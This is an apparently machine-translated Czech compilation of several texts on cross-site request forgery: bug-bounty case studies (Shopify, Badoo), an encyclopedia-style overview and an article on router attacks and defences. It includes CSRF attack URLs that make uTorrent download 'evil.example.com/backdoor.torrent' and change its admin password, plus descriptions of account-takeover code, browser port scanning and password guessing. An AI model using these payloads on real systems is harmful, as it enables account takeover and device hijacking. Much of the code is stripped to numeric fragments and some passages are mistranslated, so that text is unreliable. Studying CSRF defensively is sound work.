Podezření na útok na padělání žádosti napříč weby. Co je CSRF? Význam pojmu CSRF

Cross Site Request Forgery neboli CSRF je útok, ke kterému dochází, když škodlivý web, e-mail, zpráva, aplikace nebo cokoli jiného způsobí, že prohlížeč uživatele provede nějakou akci na jiném webu, kde je tento uživatel již ověřen. Často se tak děje bez vědomí uživatele.

Poškození způsobené útokem CSRF závisí na místě, které akci přijímá. Zde je příklad:

  • Bob zadá svůj osobní účet do klienta online bankovnictví, provede nějaké operace, ale neodhlásí se.
  • Bob zkontroluje svůj e-mail a klikne na odkaz, který ho přesměruje na neznámou stránku.
  • Neznámá stránka požádá online klienta Bobovy banky o převod peněz a předá informace do Bobova souboru cookie, který byl uložen z jeho předchozí relace.
  • Stránka Bob's Bank přijme požadavek od neznámého (škodlivého) webu bez použití tokenu CSRF a provede překlad.

    • Ještě zajímavější situace je, když odkaz na škodlivý
    stránky mohou být obsaženy ve validním HTML, díky čemuž Bo-
    Nemusíte ani klikat na odkaz: . Pokud se Bobovo zařízení (například prohlížeč) vykreslí
    Tento obrázek odešle požadavek na stránku malicious_site.com a potenciálně způsobí útok CSRF.

    Nyní, když jste si vědomi nebezpečí útoků CSRF, můžete se proti nim chránit řadou způsobů, z nichž nejpopulárnější je možná použití tokenu CSRF, který je nutné odeslat s každým požadavkem, který by mohl potenciálně změnit data ( jako jsou požadavky POST). Webová aplikace (například Bobovo online bankovnictví) bude muset vygenerovat token sestávající ze dvou částí, z nichž jednu obdrží Bob a druhou bude uložena v aplikaci.

    Když se Bob pokusí požádat o převod peněz, bude muset poslat token, jehož platnost ověří banka pomocí tokenu uloženého v aplikaci.

    Nyní, když víme o CSRF a tokenech CSRF, dává sdílení zdrojů Cross Origin (CORS) větší smysl, i když jsem si toho mohl všimnout právě při zkoumání nových cílů. CORS obecně omezuje seznam zdrojů, které mohou přistupovat k datům. Jinými slovy, když se CORS používá k zabezpečení webu, můžete napsat Javascript pro volání cílové aplikace, přečíst si odpověď a provést další volání, pokud vám to cílový web umožňuje.

    Pokud se vám to zdá matoucí, zkuste pomocí Javascriptu zavolat na HackerOne.com/activity.json, přečíst si odpověď a provést druhý hovor. Důležitost tohoto a potenciálních řešení také uvidíte v příkladu č. 3 níže.

    Nakonec je důležité poznamenat (díky Jobertu Abmovi za upozornění), že ne každý požadavek bez tokenu CSRF je neplatný. Některé weby mohou provádět další kontroly, jako je porovnání původní hlavičky (ačkoli to není zaručeno jako bezpečné a jsou známé případy obcházení). Toto je pole, které identifikuje adresu stránky, která odkazuje na požadovaný zdroj. Jinými slovy, pokud původní strana (referrer)

    provede volání POST z jiného webu než ze stejného webu, který přijal požadavek HTTP, web nemusí umožnit volání dosáhnout stejného účinku jako pomocí tokenu CSRF. Navíc ne každý web používá při vytváření nebo definování tokenu výrazy csrf. Například na Badoo je to parametr rt, jak je popsáno níže.

    Přečtěte si výukový program OWASP Testing for CSRF

    Příklady 1. Export nainstalovaných uživatelů Shopify

    Obtížnost: Nízká
    Adresa URL: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users


    Popis:

    Shopify API poskytuje koncový bod pro export seznamu nainstalovaných uživatelů prostřednictvím výše uvedené adresy URL. Chyba spočívala v tom, že web mohl odeslat požadavek na tento koncový bod a získat informace jako odpověď

    Shopify nepoužil token CSRF k ověření tohoto požadavku. V důsledku toho by mohl být následující HTML kód použit k odeslání formuláře jménem nic netušící oběti.

    1 2 csrf 3 4 7 8 9

    V tomto příkladu při pouhé návštěvě stránky odešle Javascript formulář, který obsahuje požadavek GET do rozhraní Shopify API pomocí souborů cookie Shopify nastavených v prohlížeči oběti.

    závěry

    Zvyšte rozsah svých útoků a hledejte chyby nejen na webu, ale také v API. Koncové body API jsou také potenciální cestou k využití, takže je vhodné mít to na paměti, zvláště pokud víte, že rozhraní API mohlo být vyvinuto nebo zpřístupněno po vytvoření webového rozhraní.

    2. Odpojte Shopify od Twitteru

    Obtížnost: Nízká
    URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

    Shopify poskytuje integraci Twitteru, která umožňuje majitelům obchodů tweetovat o svých produktech. Podobně služba umožňuje odpojit Twitter účet od propojeného obchodu.

    URL k deaktivaci Twitter účet z výše uvedeného obchodu. Při zadávání požadavku Shopify neověřilo token CSRF, což útočníkovi umožnilo vytvořit falešný odkaz, na který by po kliknutí nic netušící majitel obchodu odpojil svůj obchod od Twitteru.

    Při popisu chyby zabezpečení poskytl WeSecureApp následující příklad zranitelného požadavku; všimněte si, že použití značky img zavolá zranitelnou adresu URL:

    1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Připojení: keep-alive

    Protože prohlížeč požaduje GET, aby získal obrázek z předané adresy URL a token CSRF není ověřen, je nyní vlastní úložiště zakázáno:

    1 2 3 5 6

    závěry

    V této situaci mohla být popsaná chyba zabezpečení nalezena pomocí proxy serveru, jako je Burp nebo Firefox Tamper Data, pouhým pohledem na požadavek odeslaný do Shopify a zjištěním, že požadavek byl podán pomocí požadavku GET. Protože to bylo rušivé a požadavky GET by neměly změnit data na serveru, stojí za to to prozkoumat.

    3. Dokončete převzetí účtu na Badoo

    Obtížnost: střední
    Adresa URL: https://badoo.com
    Odkaz na zprávu: https://hackerone.com/reports/12770312
    Datum nahlášení: 1. dubna 2016
    Vyplacená odměna: 852 $

    Popis:

    Pokud se podíváte na Badoo, chrání před CSRF tím, že do URL zahrnou parametr rt, který má pouze 5 znaků (alespoň v době psaní). I když jsem si toho všiml, když Badoo spustilo kampaň na HackerOne, nenašel jsem způsob, jak to využít. Mahmoud Jamal (zombiehelp54) to však našel.

    Poté, co pochopil význam parametru rt, si také všiml, že parametr byl vrácen téměř ve všech odpovědích json. Bohužel to nepřineslo nic dobrého, protože CORS chrání Badoo před útoky čtením těchto odpovědí. Mahmúd pokračoval v hledání.

    Ukázalo se, že soubor https://eu1.badoo.com/worker-scope/chrome-ser obsahuje hodnotu rt. Co bylo ještě lepší, byl tento soubor
    mohl útočník libovolně číst a nevyžadoval
    oběť neprovede žádnou jinou akci než návštěvu škodlivé webové stránky. Zde je kód, který poskytl:

    1 2 3 Převzatý účet Badoo 4 6 7 8 9 function getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 8 _code;18 window.location = csrf_url; 19); 20

    V zásadě, když oběť načte stránku, odešle požadavek skriptu Badoo, vyzvedne parametr rt pro daného uživatele a poté provede požadavek jménem oběti. V tomto případě šlo o propojení Mahmoudova účtu s účtem oběti, které umožnilo účet kompletně převzít.

    závěry

    Kde je kouř, tam je oheň. Zde si Mahmoud všiml, že parametr rt se vrací na různých místech, v konkrétních odpovědích json. Správně tedy předpokládal, že by se to mohlo ukázat někde, kde by se to dalo v tomto případě použít v js souboru.

    Výsledek

    CSRF útoky představují další nebezpečný vektor útoku a mohou být provedeny s malou nebo žádnou aktivní akcí ze strany oběti. Nalezení zranitelností CSRF vyžaduje určitou vynalézavost a opět ochotu vše testovat.

    Formuláře jsou zpravidla ve výchozím nastavení chráněny frameworky, jako je Rails, pokud web zadá požadavek POST, ale rozhraní API mohou

    být samostatný příběh. Například Shopify je napsáno primárně na frameworku Ruby on Rails, který ve výchozím nastavení poskytuje ochranu CSRF pro všechny formuláře (i když ji lze zakázat). To však zjevně není nutně případ API vytvořených pomocí tohoto rámce. Nakonec věnujte pozornost volání, která mění data na serveru (jako je akce odstranění) a jsou prováděna pomocí požadavku GET.

    Falšování požadavků mezi stránkami, známé také jako útok jedním kliknutím nebo relace a zkráceně CSRF (někdy vyjádřeno přílivový vývrt listen)) nebo XSRF, je typ malwaru využívaného z webové stránky, na kterou jsou odesílány neoprávněné příkazy od uživatele, kterému webová aplikace důvěřuje. Existuje mnoho způsobů, jak může škodlivý web přenášet takové příkazy; speciálně vytvořené tagy obrázků, skryté formuláře a JavaScript XMLHttpRequests, například, to vše může fungovat bez interakce uživatele nebo dokonce znalosti. Na rozdíl od cross-site scriptingu (XSS), které využívá důvěru, kterou má uživatel ke konkrétnímu webu, CSRF využívá důvěru, kterou má web k prohlížeči uživatele.

    příběh

    Chyby zabezpečení CSRF jsou známy a v některých případech jsou využívány od roku 2001. Vzhledem k tomu, že jsou prováděny z IP adresy uživatele, některé protokoly webových stránek nemusí mít důkaz o CSRF. Zneužívání je podhodnoceno, alespoň veřejně, a od roku 2007 existovalo několik dobře zdokumentovaných příkladů:

    • Web Netflix měl v roce 2006 četné zranitelnosti CSRF, které mohly útočníkovi umožnit provádět akce, jako je přidání DVD do fronty na výpůjčku oběti, změna dodací adresy na účtu nebo změna přihlašovacích údajů oběti za účelem úplného kompromitování účtu.
    • Webová aplikace online bankovnictví ING Direct byla zranitelná vůči CSRF útokům, které umožňovaly nelegální převody peněz.
    • Populární video web YouTube byl v roce 2008 také zranitelný vůči CSRF, což umožnilo každému útočníkovi provést téměř vše, co mohl udělat jakýkoli uživatel.
    • McAfee je také zranitelný vůči CSRF, což útočníkům umožnilo upravit jejich firemní systém.

    V roce 2018 byly provedeny nové útoky na webová zařízení, včetně pokusů o změnu Nastavení DNS směrovače. Někteří výrobci routerů spěchali s vydáním aktualizací firmwaru pro zlepšení zabezpečení a doporučili uživatelům změnit nastavení routeru, aby se snížilo riziko. Podrobnosti nebyly zveřejněny s odkazem na „zjevné bezpečnostní důvody“.

    Příklad a charakteristika

    Útočníci, kteří dokážou najít reprodukovatelný odkaz, který provádí konkrétní akci na vstupní stránce, zatímco se oběť registruje, mohou takový odkaz vložit na stránku, kterou ovládají, a přimět oběť, aby ji otevřela. Odkaz na útočné médium může být umístěn na místo, které oběť s největší pravděpodobností navštíví po přihlášení na cílovou stránku (jako je diskuse na fóru), nebo může být zasláno v těle e-mailu nebo přílohy ve formátu HTML. Skutečná zranitelnost CSRF v Utorrentu (CVE-2008-6586) využívala skutečnosti, že jeho webová konzole je přístupná na localhost: 8080 umožňovalo provádět kritické akce pomocí jednoduchá žádost DOSTAT:

    Vynutit stažení souboru .torrent http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Změna hesla správce Utorrent http://localhost:8080/gui/action = nastavení nastavení & s = webui.heslo & v = zlý správce

    Útoky byly zahájeny umístěním škodlivých, automatizovaných prvků HTML obrázků na fóra a e-mailovým spamem, takže prohlížeče navštěvující tyto stránky je otevřely automaticky, bez velké akce ze strany uživatele. Lidé, kteří provozovali zranitelnou verzi Utorrentu ve stejnou dobu, kdy otevírali tyto stránky, byli náchylní k útoku.

    Útoky CSRF pomocí značek obrázků jsou často prováděny z internetových fór, kde uživatelé mohou zveřejňovat obrázky, ale ne JavaScript, například pomocí BBCode:

    Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

    Při přístupu k útočnému odkazu na místní aplikaci Utorrent na localhost:8080 prohlížeč také vždy automaticky odešle všechny existující soubory cookie pro danou doménu. Tato společná vlastnost webových prohlížečů umožňuje útokům CSRF zneužít jejich cílová zranitelnost a provádět nepřátelské akce, pokud je uživatel v době útoku přihlášen na cílovou webovou stránku (v tomto příkladu místní webové rozhraní Utorrent).

    Falšování požadavků mezi stránkami je matoucí útok proxy proti webovému prohlížeči.

    CSRF má obvykle následující vlastnosti:

    • Zahrnuje weby, které spoléhají na identitu uživatele.
    • Využívá důvěru webu v tuto identitu.
    • Přiměje prohlížeč uživatele k odeslání požadavků HTTP na cílový web.
    • Zahrnuje požadavky HTTP, které mají vedlejší účinky.
    HTTP slovesa a CSRF
    • V HTTP GET je využití CSRF triviální pomocí výše popsaných metod, jako je jednoduchý hypertextový odkaz obsahující manipulované parametry a automaticky načtený pomocí značky IMG. Podle specifikace HTTP by však měl být GET používán jako bezpečná metoda, tedy bez výrazné změny stavu uživatele v aplikaci. Aplikace, které pro takové operace používají GET, by měly přejít na HTTP POST nebo používat ochranu CSRF.
    • HTTP POST má různé zranitelnosti CSRF v závislosti na podrobných případech použití:
      • Ve své nejjednodušší podobě, POST s daty zakódovanými jako řetězec dotazu (pole1=hodnota1&pole2=hodnota2) CSRF útok lze snadno implementovat pomocí jednoduchého formuláře HTML a musí být aplikována opatření proti CSRF.
      • Pokud jsou data odesílána v jakémkoli jiném formátu (JSON, XML), je standardní metodou odeslání požadavku POST pomocí XMLHttpRequest s CSRF útoky, které brání SOP a ; existuje metoda pro odeslání libovolného obsahu z jednoduchého formuláře HTML pomocí atributu ENCTYPE; takový falešný požadavek lze odlišit od legitimního podle typu obsahu text/prostý, ale pokud není na serveru proveden, lze provést CSRF
    • ostatní metody HTTP (PUT, DELETE atd.) lze vydávat pouze pomocí XMLHttpRequest s prevencí SOP a CSRF; Tato opatření však nebudou aktivní na webech, které je výslovně zakazují pomocí Access-Control-Allow-Origin: * záhlaví
    Jiné přístupy k CSRF

    Navíc, i když se obecně popisuje jako statický typ CSRF lze také dynamicky konstruovat jako součást užitečného zatížení pro scénáře útoků napříč weby, jak ukazuje červ Samy, nebo sestavit za běhu z informací o relaci uniklých přes obsah mimo web a zasílaných do cíle jako škodlivé URL. Tokeny CSRF mohou být také odeslány zákeřným klientem kvůli fixaci relace nebo jiným zranitelnostem nebo uhodnuty pomocí útoku hrubou silou převedené na škodlivou stránku, která generuje tisíce neúspěšných požadavků. Třída útoků „Dynamic CSRF“ neboli použití zátěže pro klienta pro spoofing specifický pro relaci byla popsána v roce 2009 Nathanem Hamielem a Seanem Moyerem na briefingu BlackHat, i když taxonomie teprve získá širší využití.

    Nový vektor pro skládání dynamických CSRF útoků představil Oren Ofer v lednu 2012 na místním setkání kapitoly OWASP – „AJAX Hammer – Dynamic CSRF“.

    Důsledky

    Indikátory závažnosti byly vydány pro zranitelnosti CSRF, které vedou ke vzdálenému spuštění kódu s právy root, a také zranitelnost, která může kompromitovat kořenový certifikát, což by zcela podkopalo infrastrukturu veřejných klíčů.

    Omezení

    Aby byl požadavek na padělání mezi weby úspěšný, musí se stát několik věcí:

  • Útočník se musí zaměřit buď na web, který nekontroluje hlavičku odkazujícího zdroje, nebo na oběť pomocí prohlížeče nebo pluginu, který umožňuje falšování odkazu.
  • Útočník musí na cílovém webu nebo adrese URL najít formulář pro odeslání, který má vedlejší účinky v podobě provedení něčeho (například převodu peněz nebo změny adresy E-mailem oběti nebo heslo).
  • Útočník musí určit správné hodnoty pro všechny formuláře nebo vstupy URL; pokud by některý z nich měl tajné autentizační hodnoty nebo identifikátory, které by útočník nebyl schopen uhodnout, útok by pravděpodobně selhal (pokud by útočník neměl při odhadu velké štěstí).
  • Útočník musí nalákat oběť na webovou stránku obsahující škodlivý kód, zatímco se oběť přihlašuje na cílovou stránku.

    • Útok je slepý: útočník nevidí, co cílový web posílá zpět oběti v reakci na podvržené požadavky, pokud nezneužívá Cross-Site Scripting nebo jinou chybu na cílovém webu. Útočník může navíc cílit na jakýkoli odkaz nebo odeslat jakékoli formuláře, které následují po počátečním podvrženém požadavku, pokud jsou tyto následné odkazy nebo formuláře podobně předvídatelné. (Více cílů lze simulovat zahrnutím více obrázků na stránku nebo pomocí pomocí JavaScriptu zadejte prodlevu mezi kliknutími.)

    Vzhledem k těmto omezením může mít útočník potíže s nalezením anonymní identity obětí nebo zranitelné formy reprezentace. Na druhou stranu se pokusy o útok snadno připojí a oběti je neodhalí a vývojáři aplikací jsou méně obeznámeni a připraveni na útoky CS než na útoky, řekněme, na slovníkové útoky na prolomení hesel.

    prevence

    Většina metod prevence CSRF funguje tak, že do požadavků vkládá další autentizační data, což webové aplikaci umožňuje detekovat požadavky z neautorizovaných míst.

    Model synchronizačního markeru
    • Po přihlášení nastaví webová aplikace soubor cookie obsahující náhodný token, který zůstane nezměněn po celou dobu relace uživatele
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Čt, 23-Jul-2015 10:25:33 GMT; Max-Věk=31449600; Cesta =/
    • JavaScript spuštěný na straně klienta přečte hodnotu a zkopíruje ji do vlastní hlavičky HTTP odeslané s každým transakčním požadavkem
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Server kontroluje přítomnost a integritu tokenů

    Zabezpečení této metody je založeno na předpokladu, že pouze JavaScript běžící v rámci stejného původu bude schopen číst hodnotu cookie. JavaScript spuštěný s nepoctivým souborem nebo e-mailovou adresou nebude moci číst a kopírovat do vlastní hlavičky. I když bude soubor cookie tokenu CSRF automaticky odeslán s nepoctivým požadavkem, server bude stále očekávat platnou hlavičku tokenu X-CSRF.

    Samotný token CSRF musí být jedinečný a nepředvídatelný. Ten lze vygenerovat náhodně nebo jej lze získat z tokenů relace pomocí HMAC:

    Csrf_token = HMAC(session_token, application_secret)

    Token souboru cookie CS by neměl mít příznak HTTPOnly, protože je určen ke čtení návrhem JavaScriptu.

    Tato metoda je implementována mnoha moderními frameworky jako Django a AngularJS. Protože token zůstává po celou dobu relace uživatele trvalý, funguje dobře s aplikacemi AJAX, ale neposkytuje sekvenování událostí ve webových aplikacích.

    Ochrana poskytovaná touto metodou může být zmařena, pokud cílový web zakáže své zásady stejného původu pomocí jedné z následujících metod:

    • Permisivní hlavička Access-Control-Allow-Origin (s hvězdičkou argumentu)
    • clientaccesspolicy.xml poskytující nezamýšlený přístup k ovládacím prvkům Silverlight
    • crossdomain.xml poskytující nezamýšlený přístup k filmům Flash
    Double Send Cookie

    Podobně jako u přístupu cookie-to-header, ale bez použití JavaScriptu, může web nastavit token CSRF jako soubor cookie a také jej vložit do skrytého pole v každém formuláři HTML odeslaném klientem. Po odeslání formuláře může web zkontrolovat, zda značka cookie odpovídá tvaru značek. Zásady společného původu brání útočníkovi číst nebo nastavovat soubory cookie v cílové doméně, takže nemohou umístit platný token do své vytvořené podoby.

    Výhodou této metody oproti vzoru synchronizátoru je, že token nemusí být uložen na serveru.

    Záruky klienta

    Rozšíření prohlížeče, jako je RequestPolicy (pro Mozilla Firefox) nebo Umatrix (jak pro Firefox, tak pro Google Chrome/Chromium), mohou CSRF zabránit poskytnutím výchozí zásady odmítnutí pro požadavky mezi weby. To však může výrazně narušit běžný provoz mnoha stránek. Rozšíření CsFire (také pro Firefox) může zmírnit dopad CSRF s menším dopadem na běžné prohlížení tím, že odstraní ověřovací informace z požadavků napříč weby.

    Cross-Site Request Forgery – spousta povyku pro nic

    Alexandr Antipov

    V poslední době se v komunitě zabezpečení webových aplikací hodně diskutovalo o „novém“ typu zranitelnosti zvané Cross-Site Request Forgery (CSRF nebo XSRF). Článek, který čtenáři dáváme do povědomí, obsahuje popis tohoto typu zranitelnosti, způsoby jeho využití a hlavní přístupy k ochraně.


    Sergey Gordeychik

    Gordey @ ptsecurity com

    V poslední době se v komunitě zabezpečení webových aplikací hodně diskutovalo o „novém“ typu zranitelnosti zvané Cross-Site Request Forgery (CSRF nebo XSRF). Článek, který čtenáři dáváme do povědomí, obsahuje popis tohoto typu zranitelnosti, způsoby jeho využití a hlavní přístupy k ochraně. Všeobecně přijímaný ruský termín pro Cross-Site Request Forgery ještě nebyl zaveden, a proto autor navrhuje použít možnost „HTTP Request Forgery“.

    Lyrická odbočka

    Nejprve bych se rád pozastavil nad hlavními mylnými představami spojenými s CSRF:

    1. Padělání požadavků HTTP je nový typ zranitelnosti.

    To zdaleka není pravda. Teoretické úvahy na téma falšování zdrojů zpráv pocházejí z roku 1988 (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html) a praktické příklady zranitelnosti jsou v Bugtraqu diskutovány minimálně od roku 2000 (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Samotný termín byl představen Peterem Watkinsem (http://www.securiteam.com/securitynews/5FP0C204KE.html) v roce 2001.

    2. CSRF je varianta Cross-Site Scripting (XSS).

    Jedinou podobností mezi CSRF a XSS je použití klientů webových aplikací jako vektoru útoku (Client-Side Attack v terminologii WASC http://www.webappsec.org/projects/threat/). Zranitelnosti CSRF lze zneužít ve spojení s XSS nebo „přesměrovači“ (http://www..php), ale představují samostatnou třídu zranitelností.

    3. Zranitelnost CSRF není běžná a je poměrně obtížné ji zneužít.

    Data získaná společností Positive Technologies během penetračního testování a hodnocení bezpečnosti webových aplikací ukazují, že většina webových aplikací je náchylná k této zranitelnosti. Na rozdíl od jiných zranitelností se CSRF nevyskytuje jako výsledek programových chyb, ale je normálním chováním webového serveru a prohlížeče. Tito. Většina webů používajících standardní architekturu je ve výchozím nastavení zranitelná.

    Příklad použití

    Podívejme se na použití CSRF na příkladu. Řekněme, že existuje webová aplikace, která odesílá e-mailové zprávy. Uživatel zadá e-mailovou adresu a text zprávy, klikne na tlačítko Odeslat a zpráva z jeho adresy se odešle příjemci.

    Rýže. 1. Odeslání zprávy

    Schéma je známé z mnoha stránek a nevznáší žádné námitky. Uvedená aplikace je však vysoce pravděpodobně zranitelná vůči útokům HTTP Request Forgery. Za účelem zneužití zranitelnosti může útočník na svém webu vytvořit stránku obsahující odkaz na „obrázek“ a poté donutit uživatele, aby následoval odkaz na jeho web (například http://bh.ptsecurity.ru/xcheck /csrf.htm).

    Při přístupu na stránku se prohlížeč uživatele snaží načíst obrázek, kvůli čemuž kontaktuje zranitelnou aplikaci, tzn. odešle e-mailovou zprávu příjemci uvedenému v poli „kom“ požadavku.

    Rýže. 2. CSRF útok

    Upozorňujeme, že prohlížeč uživatele odešle na stránku hodnotu Cookie, tzn. požadavek bude vnímán jako pocházející od ověřeného uživatele. Aby mohl útočník přimět uživatele k načtení stránky, která posílá požadavek na zranitelný server, může použít techniky sociálního inženýrství a také technická zranitelnost, jako je XSS a chyby při implementaci funkce přesměrování.

    Rýže. 3. Logika provozu CSRF

    Útok CSRF tedy zahrnuje použití prohlížeče uživatele k odesílání požadavků HTTP libovolným webům a zranitelností je selhání kontroly zdroje požadavku HTTP. Ukázková aplikace používá k předávání parametrů metodu HTTP GET, což útočníkovi usnadňuje život. Nepředpokládejte však, že použití metody POST automaticky eliminuje možnost útoků na podvržení požadavku HTTP. Stránka na serveru útočníka může obsahovat hotový HTML formulář, který se automaticky odešle při zobrazení stránky.

    Aby mohl útočník využít CSRF, nemusí mít vlastní webový server. Stránka, která iniciuje požadavek, může být přenesena e-mailem nebo jiným způsobem.

    Recenze Billyho Hoffmana ukazuje různé metody síťování pomocí Javascriptu. Všechny, včetně XmlHttxmpquest (v některých situacích), lze použít k implementaci CSRF útoků.

    Doufám, že čtenář již chápe hlavní rozdíl mezi CSRF a XSS. V případě XSS získá útočník přístup k DOM (Document Object Model) zranitelné stránky, a to jak pro čtení, tak pro zápis. Při provádění CSRF má útočník možnost odeslat požadavek na server pomocí prohlížeče uživatele, ale již nebude moci přijímat a analyzovat odpověď serveru, natož její hlavičku (například Cookie). V souladu s tím vám „HTTP Request Forgery“ umožňuje pracovat s aplikací v režimu „pouze pro zápis“, což však stačí k provádění skutečných útoků.

    Hlavním cílem CSRF útoků jsou různé interaktivní webové aplikace, jako jsou emailové systémy, fóra, CMS, rozhraní dálkové ovládání síťová zařízení. Útočník může například odesílat zprávy jménem jiných uživatelů, přidávat nové Účty nebo změnit nastavení routeru přes webové rozhraní.

    Rýže. 4. Příklad použití CSRF ve fóru

    Podívejme se blíže na poslední – změnu nastavení síťová zařízení. Autor se již zmiňuje o bezdrátových systémech detekce útoků, ale přirozeně se na ně nejedná.

    Prorazíme obvod

    Loni v prosinci Symantec zveřejnil zprávu o „novém“ útoku s názvem „Drive-By Pharming“, který je v podstatě variantou zneužití CSRF. Útočník spustí v prohlížeči uživatele jakýsi „magický“ JavaScript, který změní nastavení routeru, například nastavením nové hodnoty serveru DNS. Chcete-li provést tento útok, musíte vyřešit následující problémy:

    Skenování portů pomocí JavaScriptu;

    Určení typu webové aplikace (otisk prstu);

    Hádání hesla a ověřování pomocí CSRF;

    Změna nastavení hostitele pomocí CSRF útoku.

    Technika skenování k určení dostupnosti webového serveru a jeho typu softwaru pomocí JavaScriptu byla zpracována docela dobře a scvrkává se na dynamická tvorba HTML objekty (např. img src=) směřující na různé interní URL (např. http://192.168.0.1/pageerror.gif). Pokud byl „obrázek“ úspěšně načten, pak je webový server umístěn na testované adrese databáze Microsoft IIS. Pokud odpověď obdržela chybu 404, pak je port otevřený a běží na něm webový server. Pokud byl časový limit překročen, server není v síti nebo je port blokován firewallem. No, v jiných situacích - port je uzavřen, ale hostitel je přístupný (server vrátil paket RST a prohlížeč vrátil chybu před vypršením časového limitu). V některých situacích lze takové skenování portů z prohlížeče uživatele provést bez použití JavaScriptu (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

    Po určení typu zařízení se může útočník pokusit donutit prohlížeč uživatele, aby okamžitě odeslal požadavek na změnu nastavení. Ale takový požadavek bude úspěšný pouze v případě, že prohlížeč uživatele již má aktivní ověřenou relaci ze zařízení. Mít po ruce otevřít stránku správa routeru je špatným zvykem mnoha „pokročilých“ uživatelů.

    Pokud neexistuje žádná aktivní relace s rozhraním pro správu, musí se útočník ověřit. Pokud zařízení implementuje ověřování na základě formulářů, nevznikají žádné problémy. Pomocí CSRF v POST je na server odeslán požadavek na autorizaci, po kterém je z něj načten obrázek (nebo stránka), přístupná pouze ověřeným uživatelům. Pokud byl obraz přijat, ověření proběhlo úspěšně a můžete pokračovat v dalších akcích, jinak zkuste jiné heslo.

    Pokud napadené zařízení implementuje základní ověřování, úloha se zkomplikuje. Internetový prohlížeč Průzkumník nepodporuje možnost zadat uživatelské jméno a heslo v adrese URL (například http://user: [e-mail chráněný]). V tomto ohledu lze k provedení Základní autentizace použít metodu přidávání HTTP hlaviček pomocí Flash, popsanou v článku. Tato metoda je však vhodná pouze pro staré Flash verze, které jsou stále méně časté.

    Ale jiné prohlížeče, jako je Firefox, poskytují možnost zadat uživatelské jméno a heslo v adrese URL a lze je použít k ověření na jakémkoli serveru, což lze provést bez generování chybové zprávy, pokud je heslo nesprávné.

    Níže je uveden příklad skriptu pro tichou autentizaci pomocí metody Basic z blogu Stefana Essera.

    Firefox HTTP Auth Bruteforce

    Rýže. 5. Základní ověřování ve Firefoxu

    V podnikovém prostředí, kde se často používají mechanismy SSO, např. doména aktivní Adresář a protokoly Kerberos a NTLM, využití CSRF nevyžaduje další úsilí. Prohlížeč se automaticky ověří v kontextu zabezpečení aktuálního uživatele.

    Po úspěšném ověření útočník pomocí JavaScriptu odešle požadavek, který změní libovolná nastavení routeru, jako je adresa serveru DNS.

    Metody ochrany

    První věc, která vás při ochraně CSRF napadne, je kontrola hodnoty hlavičky Referer. Vzhledem k tomu, že padělání požadavku HTTP zahrnuje přenos požadavku z třetí stránky, může problém vyřešit ovládání původní stránky, jejíž adresu prohlížeč automaticky přidá do záhlaví požadavku.

    Tento mechanismus má však řadu nevýhod. Za prvé, vývojář stojí před otázkou zpracování požadavků, které jako takové nemají hlavičku Referer. Mnoho osobních firewallů a anonymizačních proxy serverů odstraňuje záhlaví Referer jako potenciálně nezabezpečené záhlaví. Pokud tedy server takové požadavky ignoruje, skupina „nejparanoidnějších“ občanů s ním nebude moci pracovat.

    Za druhé, v některých situacích může být hlavička Referer podvržena, například pomocí již zmíněného Flash triku. Pokud uživatel používá IE 6.0, obsah hlavičky požadavku může být upraven, aby se využila chyba v implementaci XmlHttxmpquest. Zranitelnost spočívá v možnosti použití znaků nového řádku ve jménu metody HTTP, což umožňuje změnu záhlaví a dokonce i vložení dalšího požadavku. Tato chyba zabezpečení byla objevena Amit Klein() v roce 2005 a znovu objevena v roce 2007. Omezení této metody spočívá v tom, že funguje pouze v případě, že mezi uživatelem a serverem existuje HTTP Proxy nebo pokud jsou servery umístěny na stejné IP adrese. ale s různými názvy domén.

    Další běžnou metodou je přidání jedinečného parametru ke každému požadavku, který je následně ověřen serverem. Parametr lze přidat k adrese URL při použití požadavku GET, například jako parametr skrytého formuláře při použití POST. Hodnota parametru může být libovolná, hlavní je, že ji útočník nemůže předpovědět, například hodnotu relace uživatele.

    Rýže. 6. CSRF ochrana v Bitrixu

    Chcete-li do své aplikace rychle přidat funkci kontroly CSRF, můžete použít následující přístup:

    1. Na každou vygenerovanou stránku přidejte malý JavaScript a do všech formulářů přidejte další skrytý parametr, kterému je přiřazena hodnota Cookie.

    2. Zkontrolujte na serveru, že data odeslaná klientem metodou POST obsahují hodnotu rovnou aktuální hodnotě cookie.

    Příklad takového klientského skriptu je uveden níže:

    Dalším vývojem tohoto přístupu je ukládání identifikátoru relace nikoli do souboru cookie, ale jako parametr skrytého formuláře (například VIEWSTATE).

    Jako metodu proti CSRF lze použít různé verze Turingových testů, například známé obrázky - CAPTCHA. Další oblíbenou možností je vyžadovat uživatelské heslo při změně důležitých nastavení.

    Rýže. 7. Ochrana CSRF v mail.ru

    Cross-Site Request Forgery je tedy útok zaměřený na klienta webové aplikace a využívá nedostatečné ověření zdroje HTTP požadavku. K ochraně proti takovým útokům lze použít další řízení zdroje požadavku na základě hlavičky Referer nebo dalšího parametru „random“.

    Sergey Gordeychik pracuje jako systémový architekt ve společnosti Positive Technologies, kde se specializuje na bezpečnost aplikací, bezdrátové a mobilní technologie. Autor je také hlavním vývojářem Security bezdrátové sítě", "Analýza a hodnocení bezpečnosti webových aplikací" školicího střediska Informzashita. Publikoval několik desítek článků v „Windows IT Pro/RE“, SecurityLab a dalších publikacích. Je členem Webové projekty Konsorcium zabezpečení aplikací (WASC).

